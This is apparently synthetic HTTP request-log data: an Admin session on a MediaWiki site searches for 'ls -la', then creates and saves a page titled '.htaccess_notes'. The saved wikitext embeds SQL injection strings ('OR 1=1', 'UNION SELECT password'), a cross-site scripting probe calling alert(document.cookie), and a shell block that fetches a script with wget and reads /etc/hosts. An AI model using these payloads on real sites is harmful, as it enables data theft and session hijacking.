{"method": "GET", "target": "/index.php?title=Special:PrefixIndex&prefix=ls+-la&namespace=0", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=10%401794254462%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:Log&user=Admin&page=Ls+-la+notes", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=10%401794254462%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:ListFiles&ilsearch=ls+-la", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=10%401794254462%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:FileDuplicateSearch&filename=Pic+ls+-la.png", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=10%401794254462%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:LinkSearch&target=example.com%2Fls+-la", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=10%401794254462%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:ListUsers&username=ls+-la", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=10%401794254462%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/rest.php/v1/search/title?q=ls&limit=10", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "accept: application/json", "Referer: http://example.com/wiki/Main_Page", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=10%401794254462%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=.htaccess_notes&action=edit", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=10%401794254462%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "POST", "target": "/api.php?action=stashedit", "headers": ["Host: example.com", "Content-Length: 1673", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://example.com", "Referer: http://example.com/index.php?title=.htaccess_notes&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=10%401794254462%23153252fac0b4fff55405e90957449430"], "body": "action=stashedit&format=json&formatversion=2&title=.htaccess_notes&section=&sectiontitle=&summary=&contentmodel=wikitext&contentformat=text%2Fx-wiki&baserevid=0&text=%7B%7BInfobox%0A%7C+name+%3D+Example%0A%7C+image+%3D+Pic+python3.png%0A%7D%7D%0A'''Example'''+is+a+page+about+%5B%5BMain+Page%7Cthe+wiki%5D%5D+and+%5Bhttps%3A%2F%2Fexample.com%2Fdocs+the+docs%5D.%0A%0A%3D%3D+Install+%3D%3D%0ARun+these%2C+with+python3+and+powershell%3A%0A%3Cpre%3E%0A%23!%2Fbin%2Fsh%0Acd+%2Fvar%2Fwww+%26%26+ls+-la%0Apython3+-m+venv+.venv+%26%26+.+.venv%2Fbin%2Factivate%0Awget+http%3A%2F%2Fexample.com%2Fsetup.sh+-O+%2Ftmp%2Fsetup.sh%0Acat+%2Fetc%2Fhosts%0A%3C%2Fpre%3E%0A%3Csyntaxhighlight+lang%3D%22sql%22%3E%0ASELECT+name+FROM+users+WHERE+id+%3D+1+OR+1%3D1%3B%0AUNION+SELECT+password+FROM+accounts%3B%0A%3C%2Fsyntaxhighlight%3E%0A%3Csyntaxhighlight+lang%3D%22javascript%22%3E%0Adocument.getElementById(%22x%22).innerHTML+%3D+%22%3Cb%3E%22+%2B+window.location+%2B+%22%3C%2Fb%3E%22%3B%0Aalert(document.cookie)%3B%0A%3C%2Fsyntaxhighlight%3E%0AThe+file+.htaccess+in+the+site+root+sets+%3Ccode%3ERewriteRule+%5E(.*)%24+index.php%3Ftitle%3D%241%3C%2Fcode%3E.%0A%0A%7B%7C+class%3D%22wikitable+sortable%22%0A%7C-%0A!+Command+!!+Does%0A%7C-%0A%7C+%3Ccode%3Els+-la%3C%2Fcode%3E+%7C%7C+lists+files%0A%7C-%0A%7C+%3Ccode%3Epowershell+-Command+Get-Item%3C%2Fcode%3E+%7C%7C+shows+an+item%0A%7C-%0A%7C+%3Ccode%3Epython3+manage.py%3C%2Fcode%3E+%7C%7C+runs+a+script%0A%7C%7D%0A%0A%3Cgallery%3E%0AFile%3APic+python3.png%7CA+picture%0A%3C%2Fgallery%3E%0A%3Cref%3EA+note+citing+https%3A%2F%2Fexample.com%2F%3C%2Fref%3E%0A%5B%5BCategory%3AExamples%5D%5D%0A&token=7d1a0a012962ccd63016cba9ec5f406d6af22680%2B%5C"}
{"method": "POST", "target": "/api.php?action=stashedit", "headers": ["Host: example.com", "Content-Length: 323", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://example.com", "Referer: http://example.com/index.php?title=.htaccess_notes&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=10%401794254462%23153252fac0b4fff55405e90957449430"], "body": "action=stashedit&format=json&formatversion=2&title=.htaccess_notes&section=&sectiontitle=&summary=Notes+on+.htaccess%2C+python3%2C+ls+-la+and+.htaccess&contentmodel=wikitext&contentformat=text%2Fx-wiki&baserevid=0&stashedtexthash=7b0caca38f13720bae380f2dd35a43a0fa43c9b7&token=7d1a0a012962ccd63016cba9ec5f406d6af22680%2B%5C"}
{"method": "POST", "target": "/index.php?title=.htaccess_notes&action=submit", "headers": ["Host: example.com", "Content-Length: 3220", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryLoHFNq5gnNDYTlcP", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=.htaccess_notes&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=10%401794254462%23153252fac0b4fff55405e90957449430"], "body": "------WebKitFormBoundaryLoHFNq5gnNDYTlcP\r\nContent-Disposition: form-data; name=\"wpUnicodeCheck\"\r\n\r\n\u2133\ud835\udcb2\u2665\ud835\udcca\ud835\udcc3\ud835\udcbe\ud835\udcb8\u2134\ud835\udcb9\u212f\r\n------WebKitFormBoundaryLoHFNq5gnNDYTlcP\r\nContent-Disposition: form-data; name=\"wpAntispam\"\r\n\r\n\r\n------WebKitFormBoundaryLoHFNq5gnNDYTlcP\r\nContent-Disposition: form-data; name=\"wpSection\"\r\n\r\n\r\n------WebKitFormBoundaryLoHFNq5gnNDYTlcP\r\nContent-Disposition: form-data; name=\"wpStarttime\"\r\n\r\n20261109200104\r\n------WebKitFormBoundaryLoHFNq5gnNDYTlcP\r\nContent-Disposition: form-data; name=\"wpEdittime\"\r\n\r\n20261109200104\r\n------WebKitFormBoundaryLoHFNq5gnNDYTlcP\r\nContent-Disposition: form-data; name=\"editRevId\"\r\n\r\n0\r\n------WebKitFormBoundaryLoHFNq5gnNDYTlcP\r\nContent-Disposition: form-data; name=\"wpScrolltop\"\r\n\r\n304\r\n------WebKitFormBoundaryLoHFNq5gnNDYTlcP\r\nContent-Disposition: form-data; name=\"wpAutoSummary\"\r\n\r\nd41d8cd98f00b204e9800998ecf8427e\r\n------WebKitFormBoundaryLoHFNq5gnNDYTlcP\r\nContent-Disposition: form-data; name=\"oldid\"\r\n\r\n0\r\n------WebKitFormBoundaryLoHFNq5gnNDYTlcP\r\nContent-Disposition: form-data; name=\"parentRevId\"\r\n\r\n0\r\n------WebKitFormBoundaryLoHFNq5gnNDYTlcP\r\nContent-Disposition: form-data; name=\"format\"\r\n\r\ntext/x-wiki\r\n------WebKitFormBoundaryLoHFNq5gnNDYTlcP\r\nContent-Disposition: form-data; name=\"model\"\r\n\r\nwikitext\r\n------WebKitFormBoundaryLoHFNq5gnNDYTlcP\r\nContent-Disposition: form-data; name=\"wpTextbox1\"\r\n\r\n{{Infobox\r\n| name = Example\r\n| image = Pic python3.png\r\n}}\r\n'''Example''' is a page about [[Main Page|the wiki]] and [https://example.com/docs the docs].\r\n\r\n== Install ==\r\nRun these, with python3 and powershell:\r\n<pre>\r\n#!/bin/sh\r\ncd /var/www && ls -la\r\npython3 -m venv .venv && . .venv/bin/activate\r\nwget http://example.com/setup.sh -O /tmp/setup.sh\r\ncat /etc/hosts\r\n</pre>\r\n<syntaxhighlight lang=\"sql\">\r\nSELECT name FROM users WHERE id = 1 OR 1=1;\r\nUNION SELECT password FROM accounts;\r\n</syntaxhighlight>\r\n<syntaxhighlight lang=\"javascript\">\r\ndocument.getElementById(\"x\").innerHTML = \"<b>\" + window.location + \"</b>\";\r\nalert(document.cookie);\r\n</syntaxhighlight>\r\nThe file .htaccess in the site root sets <code>RewriteRule ^(.*)$ index.php?title=$1</code>.\r\n\r\n{| class=\"wikitable sortable\"\r\n|-\r\n! Command !! Does\r\n|-\r\n| <code>ls -la</code> || lists files\r\n|-\r\n| <code>powershell -Command Get-Item</code> || shows an item\r\n|-\r\n| <code>python3 manage.py</code> || runs a script\r\n|}\r\n\r\n<gallery>\r\nFile:Pic python3.png|A picture\r\n</gallery>\r\n<ref>A note citing https://example.com/</ref>\r\n[[Category:Examples]]\r\n\r\n------WebKitFormBoundaryLoHFNq5gnNDYTlcP\r\nContent-Disposition: form-data; name=\"wpSummary\"\r\n\r\nNotes on .htaccess, python3, ls -la and .htaccess\r\n------WebKitFormBoundaryLoHFNq5gnNDYTlcP\r\nContent-Disposition: form-data; name=\"wpWatchthis\"\r\n\r\n\r\n------WebKitFormBoundaryLoHFNq5gnNDYTlcP\r\nContent-Disposition: form-data; name=\"wpPreview\"\r\n\r\nShow preview\r\n------WebKitFormBoundaryLoHFNq5gnNDYTlcP\r\nContent-Disposition: form-data; name=\"wpEditToken\"\r\n\r\n7d1a0a012962ccd63016cba9ec5f406d6af22680+\\\r\n------WebKitFormBoundaryLoHFNq5gnNDYTlcP\r\nContent-Disposition: form-data; name=\"mode\"\r\n\r\ntext\r\n------WebKitFormBoundaryLoHFNq5gnNDYTlcP\r\nContent-Disposition: form-data; name=\"wpUltimateParam\"\r\n\r\n1\r\n------WebKitFormBoundaryLoHFNq5gnNDYTlcP--\r\n"}
{"method": "POST", "target": "/api.php?action=stashedit", "headers": ["Host: example.com", "Content-Length: 1726", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://example.com", "Referer: http://example.com/index.php?title=.htaccess_notes&action=submit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=10%401794254462%23153252fac0b4fff55405e90957449430"], "body": "action=stashedit&format=json&formatversion=2&title=.htaccess_notes&section=&sectiontitle=&summary=Notes+on+.htaccess%2C+python3%2C+ls+-la+and+.htaccess&contentmodel=wikitext&contentformat=text%2Fx-wiki&baserevid=0&text=%7B%7BInfobox%0A%7C+name+%3D+Example%0A%7C+image+%3D+Pic+python3.png%0A%7D%7D%0A'''Example'''+is+a+page+about+%5B%5BMain+Page%7Cthe+wiki%5D%5D+and+%5Bhttps%3A%2F%2Fexample.com%2Fdocs+the+docs%5D.%0A%0A%3D%3D+Install+%3D%3D%0ARun+these%2C+with+python3+and+powershell%3A%0A%3Cpre%3E%0A%23!%2Fbin%2Fsh%0Acd+%2Fvar%2Fwww+%26%26+ls+-la%0Apython3+-m+venv+.venv+%26%26+.+.venv%2Fbin%2Factivate%0Awget+http%3A%2F%2Fexample.com%2Fsetup.sh+-O+%2Ftmp%2Fsetup.sh%0Acat+%2Fetc%2Fhosts%0A%3C%2Fpre%3E%0A%3Csyntaxhighlight+lang%3D%22sql%22%3E%0ASELECT+name+FROM+users+WHERE+id+%3D+1+OR+1%3D1%3B%0AUNION+SELECT+password+FROM+accounts%3B%0A%3C%2Fsyntaxhighlight%3E%0A%3Csyntaxhighlight+lang%3D%22javascript%22%3E%0Adocument.getElementById(%22x%22).innerHTML+%3D+%22%3Cb%3E%22+%2B+window.location+%2B+%22%3C%2Fb%3E%22%3B%0Aalert(document.cookie)%3B%0A%3C%2Fsyntaxhighlight%3E%0AThe+file+.htaccess+in+the+site+root+sets+%3Ccode%3ERewriteRule+%5E(.*)%24+index.php%3Ftitle%3D%241%3C%2Fcode%3E.%0A%0A%7B%7C+class%3D%22wikitable+sortable%22%0A%7C-%0A!+Command+!!+Does%0A%7C-%0A%7C+%3Ccode%3Els+-la%3C%2Fcode%3E+%7C%7C+lists+files%0A%7C-%0A%7C+%3Ccode%3Epowershell+-Command+Get-Item%3C%2Fcode%3E+%7C%7C+shows+an+item%0A%7C-%0A%7C+%3Ccode%3Epython3+manage.py%3C%2Fcode%3E+%7C%7C+runs+a+script%0A%7C%7D%0A%0A%3Cgallery%3E%0AFile%3APic+python3.png%7CA+picture%0A%3C%2Fgallery%3E%0A%3Cref%3EA+note+citing+https%3A%2F%2Fexample.com%2F%3C%2Fref%3E%0A%5B%5BCategory%3AExamples%5D%5D%0A&token=7d1a0a012962ccd63016cba9ec5f406d6af22680%2B%5C"}
{"method": "POST", "target": "/index.php?title=.htaccess_notes&action=submit", "headers": ["Host: example.com", "Content-Length: 3328", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundarytGGUHVisK39cQRtQ", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=.htaccess_notes&action=submit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=10%401794254462%23153252fac0b4fff55405e90957449430"], "body": "------WebKitFormBoundarytGGUHVisK39cQRtQ\r\nContent-Disposition: form-data; name=\"wpUnicodeCheck\"\r\n\r\n\u2133\ud835\udcb2\u2665\ud835\udcca\ud835\udcc3\ud835\udcbe\ud835\udcb8\u2134\ud835\udcb9\u212f\r\n------WebKitFormBoundarytGGUHVisK39cQRtQ\r\nContent-Disposition: form-data; name=\"wpAntispam\"\r\n\r\n\r\n------WebKitFormBoundarytGGUHVisK39cQRtQ\r\nContent-Disposition: form-data; name=\"wpSection\"\r\n\r\n\r\n------WebKitFormBoundarytGGUHVisK39cQRtQ\r\nContent-Disposition: form-data; name=\"wpStarttime\"\r\n\r\n20261109200104\r\n------WebKitFormBoundarytGGUHVisK39cQRtQ\r\nContent-Disposition: form-data; name=\"wpEdittime\"\r\n\r\n20261109200104\r\n------WebKitFormBoundarytGGUHVisK39cQRtQ\r\nContent-Disposition: form-data; name=\"editRevId\"\r\n\r\n0\r\n------WebKitFormBoundarytGGUHVisK39cQRtQ\r\nContent-Disposition: form-data; name=\"wpScrolltop\"\r\n\r\n304\r\n------WebKitFormBoundarytGGUHVisK39cQRtQ\r\nContent-Disposition: form-data; name=\"wpIgnoreBlankSummary\"\r\n\r\n1\r\n------WebKitFormBoundarytGGUHVisK39cQRtQ\r\nContent-Disposition: form-data; name=\"wpAutoSummary\"\r\n\r\nd41d8cd98f00b204e9800998ecf8427e\r\n------WebKitFormBoundarytGGUHVisK39cQRtQ\r\nContent-Disposition: form-data; name=\"oldid\"\r\n\r\n0\r\n------WebKitFormBoundarytGGUHVisK39cQRtQ\r\nContent-Disposition: form-data; name=\"parentRevId\"\r\n\r\n0\r\n------WebKitFormBoundarytGGUHVisK39cQRtQ\r\nContent-Disposition: form-data; name=\"format\"\r\n\r\ntext/x-wiki\r\n------WebKitFormBoundarytGGUHVisK39cQRtQ\r\nContent-Disposition: form-data; name=\"model\"\r\n\r\nwikitext\r\n------WebKitFormBoundarytGGUHVisK39cQRtQ\r\nContent-Disposition: form-data; name=\"wpTextbox1\"\r\n\r\n{{Infobox\r\n| name = Example\r\n| image = Pic python3.png\r\n}}\r\n'''Example''' is a page about [[Main Page|the wiki]] and [https://example.com/docs the docs].\r\n\r\n== Install ==\r\nRun these, with python3 and powershell:\r\n<pre>\r\n#!/bin/sh\r\ncd /var/www && ls -la\r\npython3 -m venv .venv && . .venv/bin/activate\r\nwget http://example.com/setup.sh -O /tmp/setup.sh\r\ncat /etc/hosts\r\n</pre>\r\n<syntaxhighlight lang=\"sql\">\r\nSELECT name FROM users WHERE id = 1 OR 1=1;\r\nUNION SELECT password FROM accounts;\r\n</syntaxhighlight>\r\n<syntaxhighlight lang=\"javascript\">\r\ndocument.getElementById(\"x\").innerHTML = \"<b>\" + window.location + \"</b>\";\r\nalert(document.cookie);\r\n</syntaxhighlight>\r\nThe file .htaccess in the site root sets <code>RewriteRule ^(.*)$ index.php?title=$1</code>.\r\n\r\n{| class=\"wikitable sortable\"\r\n|-\r\n! Command !! Does\r\n|-\r\n| <code>ls -la</code> || lists files\r\n|-\r\n| <code>powershell -Command Get-Item</code> || shows an item\r\n|-\r\n| <code>python3 manage.py</code> || runs a script\r\n|}\r\n\r\n<gallery>\r\nFile:Pic python3.png|A picture\r\n</gallery>\r\n<ref>A note citing https://example.com/</ref>\r\n[[Category:Examples]]\r\n\r\n------WebKitFormBoundarytGGUHVisK39cQRtQ\r\nContent-Disposition: form-data; name=\"wpSummary\"\r\n\r\nNotes on .htaccess, python3, ls -la and .htaccess\r\n------WebKitFormBoundarytGGUHVisK39cQRtQ\r\nContent-Disposition: form-data; name=\"wpWatchthis\"\r\n\r\n\r\n------WebKitFormBoundarytGGUHVisK39cQRtQ\r\nContent-Disposition: form-data; name=\"wpDiff\"\r\n\r\nShow changes\r\n------WebKitFormBoundarytGGUHVisK39cQRtQ\r\nContent-Disposition: form-data; name=\"wpEditToken\"\r\n\r\n7d1a0a012962ccd63016cba9ec5f406d6af22680+\\\r\n------WebKitFormBoundarytGGUHVisK39cQRtQ\r\nContent-Disposition: form-data; name=\"mode\"\r\n\r\npreview\r\n------WebKitFormBoundarytGGUHVisK39cQRtQ\r\nContent-Disposition: form-data; name=\"wpUltimateParam\"\r\n\r\n1\r\n------WebKitFormBoundarytGGUHVisK39cQRtQ--\r\n"}
{"method": "POST", "target": "/index.php?title=.htaccess_notes&action=submit", "headers": ["Host: example.com", "Content-Length: 3322", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundarySRt2Y7BoeXquAYid", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=.htaccess_notes&action=submit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=10%401794254462%23153252fac0b4fff55405e90957449430"], "body": "------WebKitFormBoundarySRt2Y7BoeXquAYid\r\nContent-Disposition: form-data; name=\"wpUnicodeCheck\"\r\n\r\n\u2133\ud835\udcb2\u2665\ud835\udcca\ud835\udcc3\ud835\udcbe\ud835\udcb8\u2134\ud835\udcb9\u212f\r\n------WebKitFormBoundarySRt2Y7BoeXquAYid\r\nContent-Disposition: form-data; name=\"wpAntispam\"\r\n\r\n\r\n------WebKitFormBoundarySRt2Y7BoeXquAYid\r\nContent-Disposition: form-data; name=\"wpSection\"\r\n\r\n\r\n------WebKitFormBoundarySRt2Y7BoeXquAYid\r\nContent-Disposition: form-data; name=\"wpStarttime\"\r\n\r\n20261109200104\r\n------WebKitFormBoundarySRt2Y7BoeXquAYid\r\nContent-Disposition: form-data; name=\"wpEdittime\"\r\n\r\n20261109200104\r\n------WebKitFormBoundarySRt2Y7BoeXquAYid\r\nContent-Disposition: form-data; name=\"editRevId\"\r\n\r\n0\r\n------WebKitFormBoundarySRt2Y7BoeXquAYid\r\nContent-Disposition: form-data; name=\"wpScrolltop\"\r\n\r\n304\r\n------WebKitFormBoundarySRt2Y7BoeXquAYid\r\nContent-Disposition: form-data; name=\"wpIgnoreBlankSummary\"\r\n\r\n1\r\n------WebKitFormBoundarySRt2Y7BoeXquAYid\r\nContent-Disposition: form-data; name=\"wpAutoSummary\"\r\n\r\nd41d8cd98f00b204e9800998ecf8427e\r\n------WebKitFormBoundarySRt2Y7BoeXquAYid\r\nContent-Disposition: form-data; name=\"oldid\"\r\n\r\n0\r\n------WebKitFormBoundarySRt2Y7BoeXquAYid\r\nContent-Disposition: form-data; name=\"parentRevId\"\r\n\r\n0\r\n------WebKitFormBoundarySRt2Y7BoeXquAYid\r\nContent-Disposition: form-data; name=\"format\"\r\n\r\ntext/x-wiki\r\n------WebKitFormBoundarySRt2Y7BoeXquAYid\r\nContent-Disposition: form-data; name=\"model\"\r\n\r\nwikitext\r\n------WebKitFormBoundarySRt2Y7BoeXquAYid\r\nContent-Disposition: form-data; name=\"wpTextbox1\"\r\n\r\n{{Infobox\r\n| name = Example\r\n| image = Pic python3.png\r\n}}\r\n'''Example''' is a page about [[Main Page|the wiki]] and [https://example.com/docs the docs].\r\n\r\n== Install ==\r\nRun these, with python3 and powershell:\r\n<pre>\r\n#!/bin/sh\r\ncd /var/www && ls -la\r\npython3 -m venv .venv && . .venv/bin/activate\r\nwget http://example.com/setup.sh -O /tmp/setup.sh\r\ncat /etc/hosts\r\n</pre>\r\n<syntaxhighlight lang=\"sql\">\r\nSELECT name FROM users WHERE id = 1 OR 1=1;\r\nUNION SELECT password FROM accounts;\r\n</syntaxhighlight>\r\n<syntaxhighlight lang=\"javascript\">\r\ndocument.getElementById(\"x\").innerHTML = \"<b>\" + window.location + \"</b>\";\r\nalert(document.cookie);\r\n</syntaxhighlight>\r\nThe file .htaccess in the site root sets <code>RewriteRule ^(.*)$ index.php?title=$1</code>.\r\n\r\n{| class=\"wikitable sortable\"\r\n|-\r\n! Command !! Does\r\n|-\r\n| <code>ls -la</code> || lists files\r\n|-\r\n| <code>powershell -Command Get-Item</code> || shows an item\r\n|-\r\n| <code>python3 manage.py</code> || runs a script\r\n|}\r\n\r\n<gallery>\r\nFile:Pic python3.png|A picture\r\n</gallery>\r\n<ref>A note citing https://example.com/</ref>\r\n[[Category:Examples]]\r\n\r\n------WebKitFormBoundarySRt2Y7BoeXquAYid\r\nContent-Disposition: form-data; name=\"wpSummary\"\r\n\r\nNotes on .htaccess, python3, ls -la and .htaccess\r\n------WebKitFormBoundarySRt2Y7BoeXquAYid\r\nContent-Disposition: form-data; name=\"wpWatchthis\"\r\n\r\n\r\n------WebKitFormBoundarySRt2Y7BoeXquAYid\r\nContent-Disposition: form-data; name=\"wpSave\"\r\n\r\nSave page\r\n------WebKitFormBoundarySRt2Y7BoeXquAYid\r\nContent-Disposition: form-data; name=\"wpEditToken\"\r\n\r\n7d1a0a012962ccd63016cba9ec5f406d6af22680+\\\r\n------WebKitFormBoundarySRt2Y7BoeXquAYid\r\nContent-Disposition: form-data; name=\"mode\"\r\n\r\ndiff\r\n------WebKitFormBoundarySRt2Y7BoeXquAYid\r\nContent-Disposition: form-data; name=\"wpUltimateParam\"\r\n\r\n1\r\n------WebKitFormBoundarySRt2Y7BoeXquAYid--\r\n"}
{"method": "GET", "target": "/wiki/.htaccess_notes", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=.htaccess_notes&action=submit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; my_wikiPostEditRevision12=created; cpPosIndex=11%401794254464%23153252fac0b4fff55405e90957449430"], "body": ""}
